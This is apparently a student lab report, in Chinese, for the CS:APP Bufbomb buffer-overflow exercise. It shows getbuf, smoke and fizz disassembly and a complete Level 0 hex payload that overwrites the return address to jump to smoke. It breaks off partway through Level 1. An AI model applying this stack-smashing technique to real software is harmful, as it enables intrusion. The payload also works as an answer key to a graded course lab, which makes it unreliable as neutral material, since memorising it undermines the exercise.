Bufbomb实验报告
实验分析:
level 0-3从test开始制执行,通过函数getbuf向外界读取一串内容(buf).
Level 4 是通过参数-n,程序执行testn函数,调用getbufn函数向外界读取一串内容(bufn).
实验要求我们通过getbuf读取内容时不检查边界的这一特性,输入过多的内容把栈里面的东西修改掉,使得程序发生预定的错误.
实验给了我们三个材料: ①是bufbomb也就是炸弹的主程序; ②是hex2raw,用来对bufbomb进行输入,从ppt里我们可以知道,通过 ./hex2raw < filename | ./bufbomb -u username 来达到对炸弹输入数据的过程; ③是makecookie,用来生成一个你的username cookie. 这里我的cookie是:0x57fa817c
|
通过反汇编指令对bufbomb进行反汇编,会得到反汇编代码.
首先我们可以看到ppt中告知是test函数中开始作用,调用了getbuf函数读取数据,所以我们先从getbuf函数下手:
Getbuf汇编代码:
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 89 04 24 mov %eax,(%esp) 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov $0x1,%eax 804920a: c9 leave 804920b: c3 ret |
栈的情况大致如下:
(高地址) |
Getbuf返回地址 |
存放ebp |
(存放buf内容) |
(共40字节) |
buf(ebp-0x28) |
... |
esp |
(低地址) |
Level 0:
实验要求: 修改getbuf()的返回地址,在执行完getbuf()后不是返回到原来的调用者test(),而是跳到一个叫做smoke()的函数里。 |
Somke函数汇编代码: 08048c18 <smoke>: 8048c18: 55 push %ebp 8048c19: 89 e5 mov %esp,%ebp 8048c1b: 83 ec 18 sub $0x18,%esp 8048c1e: c7 04 24 d3 a4 04 08 movl $0x804a4d3,(%esp) 8048c25: e8 96 fc ff ff call 80488c0 <puts@plt> 8048c2a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048c31: e8 45 07 00 00 call 804937b <validate> 8048c36: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048c3d: e8 be fc ff ff call 8048900 <exit@plt> |
显然,实验要求我们修改getbuf返回地址,将其修改为smoke函数的地址,就可以达到实验的目的了.反汇编程序,得到了smoke函数的首地址:08048c18,所以根据我们栈的结构,我们应建立文件输入48字节的16进制数(前40字节为buf数组的内容,可以为任意数,除了0a,也就是’\n’,会引起getbuf函数读取结束;后四字节为栈中ebp的值,因为我们只要将getbuf函数的返回地址修改就可以了,所以这四字节也可以为任意数,除了0a;最后四字节就是getbuf的返回地址啦,由于是小端机器,所以我们应该倒着输:18 8c 04 08)
那么我们就可以得到
00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07 08 09 01 02 03 04 18 8c 04 08 |
我编辑了一个名为test的文档,写入这些数字,通过hex2raw对bufbomb进行输入.
指令: ./hex2raw < filename | ./bufbomb -uusername
当当当,这样我们就能得到实验结果解决了第一个实验啦!
Level 1:
实验要求: 与实验1大同小异,都是让getbuf()的调用者test()执行一个代码里未调用的函数,实验2中是fizz()函数。并且传入我们的cookie作为参数,让fizz()打印出来 |
Fizz函数汇编代码: 08048c42 <fizz>: 8048c42: 55 push %ebp 8048c43: 89 e5 mov %esp,%ebp 8048c45: 83 ec 18 sub $0x18,%esp 8048c48: 8b 45 08 mov 0x8(%ebp),%eax//cookie 8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax 8048c51: 75 26 jne 8048c79 <fizz+0x37> 8048c53: 89 44 24 08 mov %eax,0x8(%esp) 8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp) 8048c5e: 08 8048c5f: c7 04 24 01 00 00 00 movl $0x1,( |